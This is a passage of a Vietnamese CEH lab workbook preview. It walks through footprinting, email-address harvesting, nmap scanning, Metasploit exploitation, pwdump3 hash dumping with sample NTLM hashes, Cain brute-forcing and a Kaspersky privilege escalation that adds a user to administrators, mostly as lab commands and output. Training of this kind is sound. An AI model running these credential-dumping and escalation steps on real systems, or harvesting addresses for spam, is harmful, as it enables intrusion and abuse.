Giáo trình bài tập CEH

Mục Lục

Bài 1:. 3

FOOTPRINTING. 3

I/ Giới thiệu vềFoot Print:. 3

II/ Các bài thực hành: . 3

Bài 1: Tìm thông tin vềDomain. 3

Bài 2: Tìm thông tin email. 5

Bài 2:. 7

SCANNING. 7

I/ Giới thiệu vềScanning:. 7

II/ Các Bài thực hành. 7

Bài thực hành 1: Sửdụng Phần mềm Nmap . 7

Bài thực hành thứ2: Sửdụng phần mềm Retina đểphát hiện các vulnerabilities và tấn

công bằng Metaesploit framework. 13

Bài 3:. 18

SYSTEM HACKING. 18

I/ Giới thiệu System Hacking:. 18

II/ Thực hành các bài Lab. 18

Bài 1: Crack password nột bộnội bộ. 18

Bài 2: Sửdụng chương trình pwdump3v2 khi có được 1 user administrator của

máy nạn nhân đểcó thểtìm được thông tin các user còn lại. 20

Bài Lab 3: Nâng quyền thông qua chương trình Kaspersky Lab. 23

Bài Lab 4: Sửdụng Keylogger. 25

Bài Lab 5: Sửdụng Rootkit và xóa Log file. 27

Bài 4:. 30

TROJAN và BACKDOOR. 30

I/ Giới thiệu vềTrojan và Backdoor:. 30

II/ Các bài thực hành:. 30

Bài 1 Sửdụng netcat:. 30

Bài 2: Sửdụng Trojan Beast và detect trojan. 32

Muốn sửdụng Trojan Beast, ta cần phải xây dụng 1 file Server cài lên máy nạn nhân, sau

đó file server này sẽlắng nghe ởnhững port cố định và từmáy tấn công ta sẽconnect

vào máy nạn nhân thông qua cổng này. . 32

Bài 3: Sửdụng Trojan dưới dạng Webbase. 35

Bài 5:. 38

CÁC PHƯƠNG PHÁP SNIFFER. 38

I/ Giới thiệu vềSniffer. 38

Bài 6:. 65

Tấn Công từchối dịch vụDoS. 65

I/ Giới thiệu: . 65

II/ Mô tảbài lab:. 67

Bài Lab 1: DoS bằng cách sửdụng Ping of death. 67

Bài lab 2: DoS 1 giao thức không sửdụng chứng thực(trong bài sửdụng giao thức

RIP). 69

Bài Lab 3: Sửdụng flash đểDDoS. 72

Bài 7:. 74

Social Engineering. 74

I/ Giới Thiệu. 74

VSIC Education Corporation Trang 2

II/ Các bài Lab:. 74

Bài Lab 1: Gửi email nặc đính kèm Trojan. 74

Bài 8:. 77

Session Hijacking. 77

I/ Giới thiệu:. 77

II/ Thực hiện bài Lab. 77

Bài 9:. 80

Hacking Web Server. 80

I/ Giới thiệu: . 80

II/ Thực Hiện bài lab. . 80

Bài Lab 1: Tấn công Web Server Win 2003(lỗi Apache). 80

Bài lab 2: Khai thác lỗi ứng dụng Server U. 84

Bài 10:. 85

WEB APPLICATION HACKING. 85

I/ Giới thiệu:. 85

II/ Các Bài Lab. 85

Bài Lab 1: Cross Site Scripting. 85

Bài Lab 2: Insufficient Data Validation. 86

Bài Lab 3: Cookie Manipulation. 88

Bài Lab 4: Authorization Failure. 89

Bài 11:. 91

SQL INJECTION. 91

I/ Giới thiệu vềSQL Injection:. 91

II/ Thực Hành Bài Lab. 94

Bài 12:.101

WIRELESS HACKING. 101

I/ Giới Thiệu. 101

II/ Thực hành bài Lab:. 101

Bài 13:.105

VIRUS. 105

I/ Giới thiệu: (tham khảo bài đọc thêm). 105

II/ Thực hành Lab:. 105

Bài 1: Virus phá hủy dữliệu máy. 105

Bài 2: Virus gaixinh lây qua tin nhắn. 107

Bài 14:.111

BUFFER OVERFLOW. 111

I/ Lý thuyết. 111

II/ Thực hành:. 11

pdf37 trang | Chia sẻ: netpro | Lượt xem: 3688 | Lượt tải: 1download
Bạn đang xem trước 20 trang tài liệu Giáo trình bài tập CEH, để xem tài liệu hoàn chỉnh bạn click vào nút DOWNLOAD ở trên
ộ v.v. Và cuối cùng lấy được Domain này thông qua email chủ này. II/ Các bài thực hành: Bài 1: Tìm thông tin về Domain Ta vào trang www.whois.net để tìm kiếm thông tin và đánh vào domain mình muốn tìm kiếm thông tin Sau đó ta nhận được thông tin như sau: Giáo trình bài tập C|EH Tài liệu dành cho học viên VSIC Education Corporation Trang 4 Registrar Name....: BlueHost.Com Registrar Whois...: whois.bluehost.com Registrar Homepage: Domain Name: ITVIETNAM.COM Created on..............: 1999-11-23 11:31:30 GMT Expires on..............: 2009-11-23 00:00:00 GMT Last modified on........: 2007-07-30 03:15:11 GMT Registrant Info: (FAST-12836461) VSIC Education Corporation VSIC Education Corporation 78-80 Nguyen Trai Street, 5 District, HCM City, 70000 Vietnam Phone: +84.88363691 Fax..: Email: jkow@itvietnam.com Last modified: 2007-03-23 04:12:24 GMT Administrative Info: (FAST-12836461) VSIC Education Corporation VSIC Education Corporation 78-80 Nguyen Trai Street, 5 District, HCM City, 70000 Vietnam Phone: +84.88363691 Fax..: Email: jkow@itvietnam.com Last modified: 2007-03-23 04:12:24 GMT Technical Info: (FAST-12785240) Attn: itvietnam.com C/O BlueHost.Com Domain Privacy 1215 North Research Way Suite #Q 3500 Orem, Utah 84097 United States Phone: +1.8017659400 Fax..: +1.8017651992 Email: whois@bluehost.com Giáo trình bài tập C|EH Tài liệu dành cho học viên VSIC Education Corporation Trang 5 Last modified: 2007-04-05 16:50:56 GMT Status: Locked Ngoài việc tìm thông tin về domain như trên, chúng ta có thể sử dụng các tiện ích Reverse IP domain lookup để có thể xem thử trên IP của mình có bao nhiêu host chung với mình. Vào link sau đây để sử dụng tiện ích này. Việc tìm kiếm được thông tin này rất cần thiết với Hacker, bởi vì dựa vào thông tin sử dụng chung Server này, Hacker có thể thông qua các Website bị lỗi trong danh sách trên và tấn công vào Server từ đó kiểm soát tất cả các Website được hosting trên Server. Bài 2: Tìm thông tin email Trong bài thực hành này, chúng ta sử dụng phần mềm “1st email address spider” để tìm kiếm thông tin về các email. Hacker có thể sử dụng phần mềm này để thu thập thêm thông tin về mail, hay lọc ra các đối tượng email khác nhau, tuy nhiên bạn có thể sử dụng tool này để thu thập thêm thông tin nhằm mục đích marketing, ví dụ bạn cần tìm thông tin của các email có đuôi là @vnn.vn hay @hcm.vnn.vn để phục cho việc marketing sản phẩm. Ta có thể cấu hình việc sử dụng trang web nào để lấy thông tin, trong bài tôi sử dụng trang google.com để tìm kiếm. Giáo trình bài tập C|EH Tài liệu dành cho học viên VSIC Education Corporation Trang 6 Sau đó đánh từ khóa vnn.vn vào tag keyword Sau đó chúng ta đã có được 1 list mail nhờ sử dụng trương trình này. Giáo trình bài tập C|EH Tài liệu dành cho học viên VSIC Education Corporation Trang 7 Bài 2: SCANNING I/ Giới thiệu về Scanning: Scanning hay còn gọi là quét mạng là bước không thể thiếu được trong quá trình tấn công vào hệ thống mạng của hacker. Nếu làm bước này tốt Hacker sẽ mau chóng phát hiện được lỗi của hệ thống ví dụ như lỗi RPC của Window hay lỗi trên phầm mềm dịch vụ web như Apache v.v. Và từ những lỗi này, hacker có thể sử dụng những đoạn mã độc hại(từ các trang web) để tấn công vào hệ thống, tồi tệ nhất lấy shell. Phần mềm scanning có rất nhiều loại, gồm các phầm mềm thương mại như Retina, GFI, và các phần mềm miễn phí như Nmap,Nessus. Thông thường các ấn bản thương mại có thể update các bug lỗi mới từ internet và có thể dò tìm được những lỗi mới hơn. Các phần mềm scanning có thể giúp người quản trị tìm được lỗi của hệ thống, đồng thời đưa ra các giải pháp để sửa lỗi như update Service patch hay sử dụng các policy hợp lý hơn. II/ Các Bài thực hành Bài thực hành 1: Sử dụng Phần mềm Nmap Trước khi thực hành bài này, học viên nên tham khảo lại giáo trình lý thuyết về các option của nmap. Chúng ta có thể sử dụng phần mềm trong CD CEH v5, hay có thể download bản mới nhất từ website: www.insecure.org. Phần mềm nmap có 2 phiên bản dành cho Win và dành cho Linux, trong bài thực hành về Nmap, chúng ta sử dụng bản dành cho Window. Để thực hành bài này, học viên nên sử dụng Vmware và boot từ nhiều hệ điều hành khác nhau như Win XP sp2, Win 2003 sp1, Linux Fedora Core, Win 2000 sp4,v.v. Trước tiên sử dụng Nmap để do thám thử xem trong subnet có host nào up và các port các host này mở, ta sử dụng lệnh Nmap –h để xem lại các option của Nmap, sau đó thực hiện lệnh “Nmap –sS 10.100.100.1-20”. Và sau đó được kết quả sau: C:\Documents and Settings\anhhao>nmap -sS 10.100.100.1-20 Starting Nmap 4.20 ( ) at 2007-08-02 10:27 Pacific Standard Time Interesting ports on 10.100.100.1: Not shown: 1695 closed ports PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind MAC Address: 00:0C:29:09:ED:10 (VMware) Interesting ports on 10.100.100.6: Not shown: 1678 closed ports PORT STATE SERVICE Giáo trình bài tập C|EH Tài liệu dành cho học viên VSIC Education Corporation Trang 8 7/tcp open echo 9/tcp open discard 13/tcp open daytime 17/tcp open qotd 19/tcp open chargen 23/tcp open telnet 42/tcp open nameserver 53/tcp open domain 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS 1026/tcp open LSA-or-nterm 1027/tcp open IIS 1030/tcp open iad1 2105/tcp open eklogin 3389/tcp open ms-term-serv 8080/tcp open http-proxy MAC Address: 00:0C:29:59:97:A2 (VMware) Interesting ports on 10.100.100.7: Not shown: 1693 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS MAC Address: 00:0C:29:95:A9:03 (VMware) Interesting ports on 10.100.100.11: Not shown: 1695 filtered ports PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 00:0C:29:A6:2E:31 (VMware) Skipping SYN Stealth Scan against 10.100.100.13 because Windows does not support scanning your own machine (localhost) this way. All 0 scanned ports on 10.100.100.13 are Giáo trình bài tập C|EH Tài liệu dành cho học viên VSIC Education Corporation Trang 9 Interesting ports on 10.100.100.16: Not shown: 1689 closed ports PORT STATE SERVICE 21/tcp open ftp 25/tcp open smtp 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 1433/tcp open ms-sql-s MAC Address: 00:0C:29:D6:73:6D (VMware) Interesting ports on 10.100.100.20: Not shown: 1693 closed ports PORT STATE SERVICE 135/tcp open msrpc 445/tcp open microsoft-ds 1000/tcp open cadlock 5101/tcp open admdog MAC Address: 00:15:C5:65:E3:85 (Dell) Nmap finished: 20 IP addresses (7 hosts up) scanned in 21.515 seconds Trong mạng có tất cả 7 host, 6 máy Vmware và 1 PC DELL. Bây giờ bước tiếp theo ta tìm kiếm thông tin về OS của các Host trên bằng sử dụng lệnh “ Nmap –v -O ip address” . C:\Documents and Settings\anhhao>nmap -vv -O 10.100.100.7 (xem chi tiết Nmap quét) Starting Nmap 4.20 ( ) at 2007-08-02 10:46 Pacific Standard Time Initiating ARP Ping Scan at 10:46 Scanning 10.100.100.7 [1 port] Completed ARP Ping Scan at 10:46, 0.22s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 10:46 Completed Parallel DNS resolution of 1 host. at 10:46, 0.01s elapsed Initiating SYN Stealth Scan at 10:46 Scanning 10.100.100.7 [1697 ports] Discovered open port 1025/tcp on 10.100.100.7 Discovered open port 445/tcp on 10.100.100.7 Discovered open port 135/tcp on 10.100.100.7 Discovered open port 139/tcp on 10.100.100.7 Giáo trình bài tập C|EH Tài liệu dành cho học viên VSIC Education Corporation Trang 10 Completed SYN Stealth Scan at 10:46, 1.56s elapsed (1697 total ports) Initiating OS detection (try #1) against 10.100.100.7 Host 10.100.100.7 appears to be up ... good. Interesting ports on 10.100.100.7: Not shown: 1693 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS MAC Address: 00:0C:29:95:A9:03 (VMware) Device type: general purpose Running: Microsoft Windows 2003 OS details: Microsoft Windows 2003 Server SP1 OS Fingerprint: OS:SCAN(V=4.20%D=8/2%OT=135%CT=1%CU=36092%PV=Y%DS=1%G=Y%M=000C 29%TM=46B2187 OS:3%P=i686-pc-windows- windows)SEQ(SP=FF%GCD=1%ISR=10A%TI=I%II=I%SS=S%TS=0) OS:OPS(O1=M5B4NW0NNT00NNS%O2=M5B4NW0NNT00NNS%O3=M5B4NW0NNT0 0%O4=M5B4NW0NNT0 OS:0NNS%O5=M5B4NW0NNT00NNS%O6=M5B4NNT00NNS)WIN(W1=FAF0%W2=F AF0%W3=FAF0%W4=F OS:AF0%W5=FAF0%W6=FAF0)ECN(R=Y%DF=N%T=80%W=FAF0%O=M5B4NW0NN S%CC=N%Q=)T1(R=Y OS:%DF=N%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=N%T=80%W=0%S= Z%A=S%F=AR%O=%RD OS:=0%Q=)T3(R=Y%DF=N%T=80%W=FAF0%S=O%A=S+%F=AS%O=M5B4NW0NNT 00NNS%RD=0%Q=)T4 OS:(R=Y%DF=N%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=N%T =80%W=0%S=Z%A=S+% OS:F=AR%O=%RD=0%Q=)T6(R=Y%DF=N%T=80%W=0%S=A%A=O%F=R%O=%RD= 0%Q=)T7(R=Y%DF=N% OS:T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%TOS=0 %IPL=B0%UN=0%RIP OS:L=G%RID=G%RIPCK=G%RUCK=G%RUL=G%RUD=G)IE(R=Y%DFI=S%T=80%T OSI=Z%CD=Z%SI=S% OS:DLI=S) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=255 (Good luck!) IPID Sequence Generation: Incremental Giáo trình bài tập C|EH Tài liệu dành cho học viên VSIC Education Corporation Trang 11 OS detection performed. Please report any incorrect results at rg/nmap/submit/ . Nmap finished: 1 IP address (1 host up) scanned in 3.204 seconds Raw packets sent: 1767 (78.460KB) | Rcvd: 1714 (79.328KB) Ta có thể xem các figerprinting tại “ C:\Program Files\Nmap\nmap-os-fingerprints” Tiếp tục với những máy còn lại. C:\Documents and Settings\anhhao>nmap -O 10.100.100.1 Starting Nmap 4.20 ( ) at 2007-08-02 10:54 Pacific Standard Time Interesting ports on 10.100.100.1: Not shown: 1695 closed ports PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind MAC Address: 00:0C:29:09:ED:10 (VMware) Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.9 - 2.6.12 (x86) Uptime: 0.056 days (since Thu Aug 02 09:34:08 2007) Network Distance: 1 hop Giáo trình bài tập C|EH Tài liệu dành cho học viên VSIC Education Corporation Trang 12 OS detection performed. Please report any incorrect results at rg/nmap/submit/ . Nmap finished: 1 IP address (1 host up) scanned in 2.781 seconds Tuy nhiên có 1 số host Nmap không thể nhận diện ra như sau: C:\Documents and Settings\anhhao>nmap -O 10.100.100.16 Starting Nmap 4.20 ( ) at 2007-08-02 10:55 Pacific Standard Time Interesting ports on 10.100.100.16: Not shown: 1689 closed ports PORT STATE SERVICE 21/tcp open ftp 25/tcp open smtp 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 1433/tcp open ms-sql-s MAC Address: 00:0C:29:D6:73:6D (VMware) No exact OS matches for host (If you know what OS is running on it, see nsecure.org/nmap/submit/ ). TCP/IP fingerprint: OS:SCAN(V=4.20%D=8/2%OT=21%CT=1%CU=35147%PV=Y%DS=1%G=Y%M=000C2 9%TM=46B21A94 OS:%P=i686-pc-windows- windows)SEQ(SP=FD%GCD=2%ISR=10C%TI=I%II=I%SS=S%TS=0)S OS:EQ(SP=FD%GCD=1%ISR=10C%TI=I%II=I%SS=S%TS=0)OPS(O1=M5B4NW0NNT0 0NNS%O2=M5B OS:4NW0NNT00NNS%O3=M5B4NW0NNT00%O4=M5B4NW0NNT00NNS%O5=M5B4 NW0NNT00NNS%O6=M5 OS:B4NNT00NNS)WIN(W1=FAF0%W2=FAF0%W3=FAF0%W4=FAF0%W5=FAF0%W6 =FAF0)ECN(R=Y%D OS:F=Y%T=80%W=FAF0%O=M5B4NW0NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S= O%A=S+%F=AS%RD=0 OS:%Q=)T2(R=Y%DF=N%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y% DF=Y%T=80%W=FAF0 OS:%S=O%A=S+%F=AS%O=M5B4NW0NNT00NNS%RD=0%Q=)T4(R=Y%DF=N%T=8 0%W=0%S=A%A=O%F= Giáo trình bài tập C|EH Tài liệu dành cho học viên VSIC Education Corporation Trang 13 OS:R%O=%RD=0%Q=)T5(R=Y%DF=N%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0 %Q=)T6(R=Y%DF=N%T OS:=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=N%T=80%W=0%S=Z %A=S+%F=AR%O=%RD= OS:0%Q=)U1(R=Y%DF=N%T=80%TOS=0%IPL=38%UN=0%RIPL=G%RID=G%RIPCK =G%RUCK=G%RUL= OS:G%RUD=G)IE(R=Y%DFI=S%T=80%TOSI=S%CD=Z%SI=S%DLI=S) Network Distance: 1 hop OS detection performed. Please report any incorrect results at rg/nmap/submit/ . Nmap finished: 1 IP address (1 host up) scanned in 12.485 seconds Tuy nhiên ta có thể nhận diện rằng đây là 1 Server chạy dịch vụ SQL và Web Server, bây giờ ta sử dụng lệnh “ Nmap –v –p 80 sV 10.100.100.16” để xác định version của IIS. C:\Documents and Settings\anhhao>nmap -p 80 -sV 10.100.100.16 Starting Nmap 4.20 ( ) at 2007-08-02 11:01 Pacific Standard Time Interesting ports on 10.100.100.16: PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS webserver 5.0 MAC Address: 00:0C:29:D6:73:6D (VMware) Service Info: OS: Windows Service detection performed. Please report any incorrect results at ure.org/nmap/submit/ . Nmap finished: 1 IP address (1 host up) scanned in 6.750 seconds Vậy ta có thể đoán được phần nhiều host là Window 2000 Server. Ngoài việc thực hành trên chúng ta có thể sử dụng Nmap trace, lưu log v.v Bài thực hành thứ 2: Sử dụng phần mềm Retina để phát hiện các vulnerabilities và tấn công bằng Metaesploit framework. Retina của Ieye là phần mềm thương mại(cũng như GFI, shadow v.v ) có thể update các lỗ hỗng 1 cách thường xuyên và giúp cho người Admin hệ thống có thể đưa ra những giải pháp để xử lý. Bây giờ ta sử dụng phần mềm Retina để dò tìm lỗi của máy Win 2003 Sp0(10.100.100.6) Giáo trình bài tập C|EH Tài liệu dành cho học viên VSIC Education Corporation Trang 14 Report từ chương trình Retina: TOP 20 VULNERABILITIES The following is an overview of the top 20 vulnerabilities on your network. Rank Vulnerability Name Count 1. echo service 1 2. ASN.1 Vulnerability Could Allow Code Execution 1 3. Windows Cumulative Patch 835732 Remote 1 4. Null Session 1 5. No Remote Registry Access Available 1 6. telnet service 1 7. DCOM Enabled 1 8. Windows RPC Cumulative Patch 828741 Remote 1 9. Windows RPC DCOM interface buffer overflow 1 10. Windows RPC DCOM multiple vulnerabilities 1 11. Apache 1.3.27 0x1A Character Logging DoS 1 Giáo trình bài tập C|EH Tài liệu dành cho học viên VSIC Education Corporation Trang 15 TOP 20 OPEN PORTS The following is an overview of the top 20 open ports on your network. TOP 20 OPERATING SYSTEMS The following is an overview of the top 20 operating systems on your network. 12. Apache 1.3.27 HTDigest Command Execution 1 13. Apache mod_alias and mod_rewrite Buffer Overflow 1 14. ApacheBench multiple buffer overflows 1 15. HTTP TRACE method supported 1 Rank Port Number Description Count 1. TCP:7 ECHO - Echo 1 2. TCP:9 DISCARD - Discard 1 3. TCP:13 DAYTIME - Daytime 1 4. TCP:17 QOTD - Quote of the Day 1 5. TCP:19 CHARGEN - Character Generator 1 6. TCP:23 TELNET - Telnet 1 7. TCP:42 NAMESERVER / WINS - Host Name Server 1 8. TCP:53 DOMAIN - Domain Name Server 1 9. TCP:80 WWW-HTTP - World Wide Web HTTP (Hyper Text Transfer Protocol) 1 10. TCP:135 RPC-LOCATOR - RPC (Remote Procedure Call) Location Service 1 11. TCP:139 NETBIOS-SSN - NETBIOS Session Service 1 12. TCP:445 MICROSOFT-DS - Microsoft-DS 1 13. TCP:1025 LISTEN - listen 1 14. TCP:1026 NTERM - nterm 1 15. TCP:1030 IAD1 - BBN IAD 1 16. TCP:2103 ZEPHYR-CLT - Zephyr Serv-HM Conncetion 1 17. TCP:2105 EKLOGIN - Kerberos (v4) Encrypted RLogin 1 18. TCP:3389 MS RDP (Remote Desktop Protocol) / Terminal Services 1 19. TCP:8080 Generic - Shared service port 1 20. UDP:7 ECHO - Echo 1 Giáo trình bài tập C|EH Tài liệu dành cho học viên VSIC Education Corporation Trang 16 Như vậy ta đã xác định hệ điều hành của máy 10.100.100.6, các Port mở của hệ thống và các lỗi của hệ thống. Đây là thông tin cần thiết để người Admin nhận diện lỗi và vá lỗi Trong Top 20 vulnerabilities ta sẽ khai thác bug lỗi thứ 10 là RPC DCOM bằng chương trinh Metaesploit framework(CD CEH v5). Ta có thể kiểm tra các thông tin lỗi này trên chính trang của Ieye hay securityfocus.com, microsoft.com. Ta sử dụng giao diện console của Metaesploit để tìm bug lỗi hợp với chương trình Retina vừa quét được. Rank Operating System Name Count 1. Windows Server 2003 1 Giáo trình bài tập C|EH Tài liệu dành cho học viên VSIC Education Corporation Trang 17 Ta thấy có thể nhận thấy bug lỗi msrpc_dcom_ms03_026.pm được liệt kê trong phần exploit của metaesploit. Bây giờ ta bắt đầu khai thác lỗi này. Như vậy sau khi khai thác ta đã có được shell của máy Win 2003, bây giờ ta có thể upload backdoor hay lấy những thông tin cần thiết trong máy này(vấn đề này sẽ được bàn ở những chương sau). Kết luận: Phần mềm scanning rất quan trọng với Hacker để có thể phát hiện lỗi của hệ thống, sau khi xác định lỗi Hacker có thể sử dụng Framework có sẵn hay code có sẵn trên Internet để có thể chiếm quyền sử dụng của máy mục tiêu. Tuy nhiên đây cũng là công cụ hữu ích của Admin hệ thống, phần mềm này giúp cho người Admin hệ thống đánh giá lại mức độ bảo mật của hệ thống mình và kiểm tra liên tục các bug lỗi xảy ra. Giáo trình bài tập C|EH Tài liệu dành cho học viên VSIC Education Corporation Trang 18 Bài 3: SYSTEM HACKING I/ Giới thiệu System Hacking: Như chúng ta đã học ở phần lý thuyết, Module System Hacking bao gồm những kỹ thuật lấy Username và Password, nâng quyền trong hệ thống, sử dụng keyloger để lấy thông tin của đối phương(trong bước này cũng có thể Hacker để lại Trojan, vấn đề học ở chương tiếp theo), ẩn thông tin của process đang hoạt động(Rootkit), và xóa những log hệ thống. Đối với phần lấy thông tin về username và password Local, hacker có thể crack pass trên máy nội bộ nếu sử dụng phần mềm cài lên máy đó, hay sử dụng CD boot Knoppix để lấy syskey, bước tiếp theo là giải mã SAM để lấy hash của Account hệ thống. Chúng ta có thể lấy username và password thông qua remote như SMB, NTLM(bằng kỹ thuật sniffer sẽ học ở chương sau) hay thông qua 1 Account đã của hệ thống đã biết(sử dụng PWdump3) Với phần nâng quyền trong hệ thống, Hacker có thể sử dụng lỗ hỗng của Window, các phần mềm chạy trên hệ thống nhằm lấy quyền Admin điều khiển hệ thống. Trong bài thực hành ta khai thác lỗ hổng của Kaberky Lab 6.0 để nâng quyền từ user bình thường sang user Administrator trong Win XP sp2. Phần Keylogger ta sử dụng SC-keyloger để xem các hoạt động của nạn nhân như giám sát nội dung bàn phím, thông tin về chat, thông tin về sử dụng máy, thông tin về các tài khoản user sử dụng. Tiếp theo ta sử dụng Rootkit để ẩn các process của keyloger, làm cho người admin hệ thống không thể phát hiện ra là mình đang bị theo dõi. Ở bước này ta sử dụng vanquis rootkit để ẩn các process trong hệ thống. Cuối cùng ta xóa log và dấu vết xâm nhập hệ thống. II/ Thực hành các bài Lab Bài 1: Crack password nột bộ nội bộ Giáo trình bài tập C|EH Tài liệu dành cho học viên VSIC Education Corporation Trang 19 Trước tiên ta cài phầm mềm Cain vào máy đối phương, và sử dụng phần mềm này để dò tìm password của user. Quá trình Add user Bật phầm mềm Cain và chọn Import Hashes from local system Ở đây chúng ta thấy có 3 chế độ, “ Import hash from local system”, ta sử dụng file SAM của hệ thống hiện tại để lấy hash của account(không có mã hóa syskey), Option Import Hashes from text file, thông thường text file này là lấy từ Pwdump(lưu hash của account hệ thống dưới dạng không bị mã hóa), Option thứ 3 là khi chúng ta có syskey và file SAM bị mã hóa bởi syskey. Ca ba trường hợp nếu nhập đầy đủ thông tin chúng ta đều có thể có hash của account không bị mã hóa bởi syskey. Dựa vào thông tin hash này phần mềm sẽ brute force để tìm kiếm password của account. Trong bài ta chọn user haovsic, và chọn Brute force theo NTLM hash. Sau khi chọn chế độ này ta thấy PC bắt đầu tính toán và cho ra kết quả. Giáo trình bài tập C|EH Tài liệu dành cho học viên VSIC Education Corporation Trang 20 Bài 2: Sử dụng chương trình pwdump3v2 khi có được 1 user administrator của máy nạn nhân để có thể tìm được thông tin các user còn lại. Giáo trình bài tập C|EH Tài liệu dành cho học viên VSIC Education Corporation Trang 21 Máy của nạn nhân sử dụng Window 2003 sp0, và có sẵn user “quyen” password là “cisco”, bây giờ dựa vào account này, ta có thể tìm thêm thông tin của những account khác trong máy. Trước tiên ta sử dụng pwdump3.exe để xem các tham số cần nhập vào. Sau đó sử dụng lệnh “pwdump3.exe 10.100.100.6 c;\hao2003sp0 quyen”, và nhập vào password của user quyen. Ta mở file hao2003sp0 để xem trong thông tin. aaa:1015:NO PASSWORD*********************:NO PASSWORD*********************::: anhhao:1010:DCAF9F8B002C73A0AAD3B435B51404EE:A923FFCC9BE38EBF40A5782 BBD9D5E18::: anhhao1:1011:DCAF9F8B002C73A0AAD3B435B51404EE:A923FFCC9BE38EBF40A5782 BBD9D5E18::: anhhao2:1013:DCAF9F8B002C73A0AAD3B435B51404EE:A923FFCC9BE38EBF40A5782 BBD9D5E18::: anhhaoceh:1019:B26C623F5254C6A311F64391B17C6CDE:98A2C048C77703D54BD0E88 887EFD68E::: ASPNET:1006:7CACBCC121AC203CD8652FE65BEA4486:7D34A6E7504DFAF453D421 3660AE7D35::: Guest:501:NO PASSWORD*********************:NO PASSWORD*********************::: hack:1022:CCF9155E3E7DB453AAD3B435B51404EE:3DBDE697D71690A769204BEB12 283678::: hacker:1018:BCE739534EA4E445AAD3B435B51404EE:5E7599F673DF11D5C5C4D950F 5BF0157::: hao123:1020:58F907D1C79C344DAAD3B435B51404EE:FD03071D41308B58B9DDBC6D 5576D78D::: Giáo trình bài tập C|EH Tài liệu dành cho học viên VSIC Education Corporation Trang 22 haoceh:1016:B3FF8763A6B5CE26AAD3B435B51404EE:7AD94985F28454259BF2A03821 FEC8DB::: hicehclass:1023:B2BEF1B1582C2DC0AAD3B435B51404EE:D6198C25F8420A93301A579 2398CF94C::: IUSR_113- SSR3JKXGW3N:1003:449913C1CEC65E2A97074C07DBD2969F:9E6A4AF346F1A1F483 3ABFA52ADA9462::: IWAM_113- SSR3JKXGW3N:1004:4431005ABF401D86F92DBAC26FDFD3B8:188AA6E0737F12D16 D60F8B64F7AE1FA::: lylam:1012:EE94DC327C009996AAD3B435B51404EE:7A63FB0793A85C960A775497C9 D738EE::: quyen:500:A00B9194BEDB81FEAAD3B435B51404EE:5C800F13A3CE86ED2540DD4E 7331E9A2::: SUPPORT_388945a0:1001:NO PASSWORD*********************:F791B19C488F4260723561D4F484EA09::: tam:1014:NO PASSWORD*********************:NO PASSWORD*********************::: test:1017:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B8 9537::: vic123:1021:CCF9155E3E7DB453AAD3B435B51404EE:3DBDE697D71690A769204BEB 12283678::: Ta thấy thông tin user quyen có ID là 500, đây là ID của user administrator trong mạng, và user Guest là 501. Ngoài thông tin trên, ta có thêm thông tin về pash hash của user, bây giờ ta sử dụng chương trình Cain để tìm kiếm thông tin về password của các user khác. Sử dụng Brute Force Attack với user “hiclassceh” và tìm ra password là “1234a”. Password này chỉ có 5 ký tự và dễ dàng bị Brute Force, tuy nhiên đối với những password là “ Giáo trình bài tập C|EH Tài liệu dành cho học viên VSIC Education Corporation Trang 23 stong password” (password bao gồm chữ hoa và thường, ký tự, số, ký tự đặc biệt) thì sẽ lâu hơn. Bài Lab 3: Nâng quyền thông qua chương trình Kaspersky Lab Đối với việc nâng quyền trong một hệ thống hacker phải lợi dụng lỗ hổng nào đó, hoặc là từ hệ điều hành, hoặc là từ những phần mềm của hãng thứ 3, trong trường hợp này, chúng ta nâng quyền thông qua phần mềm diệt Virus là Kaspersky Lab. Để chuẩn bị bài lab này, chúng ta lên trang web www.milw0rm.com để tìm thông tin về đoạn mã khai thác này. Sau đó ta sử dụng đoạn code này biên dịch thày file exe để tấn công vào máy nạn nhân. Để thực hành bài Lab, ta cần phải cài phần mềm Kaspersky vào máy. Sau khi cài xong ta thêm vào máy 1 user bình thường,và tiến hành log on vào user này, Trong bài ta sử dụng user hao và password là hao. Giáo trình bài tập C|EH Tài liệu dành cho học viên VSIC Education Corporation Trang 24 Chạy file exe đã được biên dịch để exploit vào Kaspersky đang chạy dưới quyền admin hệ thống. Sử dụng lệnh “ telnet 127.0.0.1 8080 “ để truy xuất vào shell có quyền admin hệ thống. Ta tiếp tục sử dụng lệnh “ Net Localgroup administrators hao /add” để add user “ hao” vào nhóm admin, và sử dụng lệnh net user để tái xác nhận Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. D:\WINDOWS\system32> D:\WINDOWS\system32>net Localgroup administrators hao /add net Localgroup administrators hao /add The command completed successfully. D:\WINDOWS\system32>net user hao net user hao User name hao Full Name Comment User's comment Country code 000 (System Default) Account active Yes Account expires Never Password last set 8/3/2007 1:47 PM Password expires 9/15/2007 12:35 PM Password changeable 8/3/2007 1:47 PM Password required Yes Giáo trình bài tập C|EH Tài liệu dàn

Các file đính kèm theo tài liệu này:

